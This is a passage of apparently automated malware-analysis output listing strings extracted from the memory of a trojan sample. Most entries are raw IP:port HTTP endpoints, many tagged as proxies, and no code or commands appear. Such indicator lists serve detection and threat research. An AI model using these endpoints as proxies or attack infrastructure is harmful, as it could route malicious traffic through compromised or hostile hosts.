Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C790E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://109.69.0.179:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://109.73.184.94:23500
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://109.73.184.94:23500://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBFA6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBC65000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://109.74.35.219:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBC09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://109.74.35.219:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://109.87.130.6:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://109.87.130.6:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://109.92.133.194:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://109.92.133.194:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://110.12.211.140
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://110.12.211.140://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://110.138.97.59:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://110.138.97.59:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://110.164.132.234:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://110.164.132.234:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://110.235.249.152:25566
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://110.235.249.152:25566://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://110.235.250.155:1080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://110.235.250.155:1080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C950C000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://110.34.166.179:4153
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9318000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://110.34.166.179:4153://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://110.34.3.229:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://110.34.3.229:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C75CB000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C75C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://110.42.189.209:2080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C75C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://110.42.189.209:2080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBD5F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBCB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://110.45.156.46:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBD5F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://110.45.156.46:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://110.74.196.242:1080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://110.74.196.242:1080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://110.76.129.30:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://110.76.129.30:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://110.77.149.50:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://110.77.149.50:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://110.77.232.174:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://110.77.232.174:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://110.77.236.235:4153
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://110.77.236.235:4153://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://110.77.242.27:4153
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://110.77.242.27:4153://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C94CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://110.78.138.125:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://110.78.138.125:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://110.78.141.206:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://110.78.141.206:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7670000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://110.78.141.206:4145x
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD140000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://110.78.141.77:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://110.78.141.77:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://110.78.141.80:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://110.78.141.80:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://110.78.152.246:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://110.78.152.246:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C76ED000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C76CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://110.78.186.153:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C76CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://110.78.186.153:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6991000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://110.78.81.107:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://110.78.81.107:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://110.78.81.107:8080x
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBA8A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBAEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://110.93.231.73:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBA8A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://110.93.231.73:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://111.16.50.12:9002
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://111.16.50.12:9002://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://111.206.0.99:8181
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://111.206.0.99:8181://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://111.224.11.13:8089
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C661F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://111.224.11.13:8089://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://111.224.11.28:8089
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://111.224.11.28:8089://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://111.224.11.67:8089
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://111.224.11.67:8089://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://111.224.213.165:8089
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://111.224.213.165:8089://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://111.224.213.192:8089
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://111.224.213.192:8089://proxyx
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://111.225.152.162:8089
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://111.225.152.162:8089://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://111.225.152.201:8089
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://111.225.152.201:8089://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://111.225.152.243:8089
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://111.225.152.243:8089://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://111.225.152.29:8089
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://111.225.152.29:8089://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8494000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://111.225.152.38:8089
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://111.225.152.38:8089://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://111.225.152.55:8089
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://111.225.152.55:8089://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://111.225.152.74:8089
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://111.225.152.74:8089://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7860000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://111.225.153.107:8089
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7860000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://111.225.153.107:8089://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://111.225.153.122:8089://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://111.225.153.122:8089P
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://111.225.153.129:8089
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://111.225.153.129:8089://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://111.225.153.146:8089
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://111.225.153.146:8089://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://111.225.153.157:8089
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://111.225.153.157:8089://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://111.225.153.166:8089
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C846E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://111.225.153.166:8089://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://111.3.102.135:30001
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://111.3.102.135:30001://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://111.68.127.170:4153
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://111.68.127.170:4153://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8489000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C84D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://111.68.31.130:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C84A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://111.68.31.130:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://111.68.31.134:40385
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://111.68.31.134:40385://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAC72000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://111.88.240.43:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAC8F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://111.88.240.43:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://111.93.235.76
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://111.93.235.76://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://111.93.235.76:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6480000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://112.109.16.51:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://112.109.16.51:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9096000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C90A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://112.109.20.234:4153
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9096000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://112.109.20.234:4153://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9051000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://112.133.192.231:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://112.133.192.231:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBA8A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBAEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://112.197.3.200:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBAEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://112.197.3.200:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://112.198.130.51:8082
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://112.198.130.51:8082://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6735000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C815E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://112.205.92.14:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C815E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://112.205.92.14:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://112.30.155.83:12792
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://112.30.155.83:12792://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://112.5.33.179:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://112.5.33.179:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://112.78.131.6:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://112.78.131.6:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAABD000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://112.78.138.163:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://112.78.138.163:5678://proxyx
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://112.78.167.38:8089
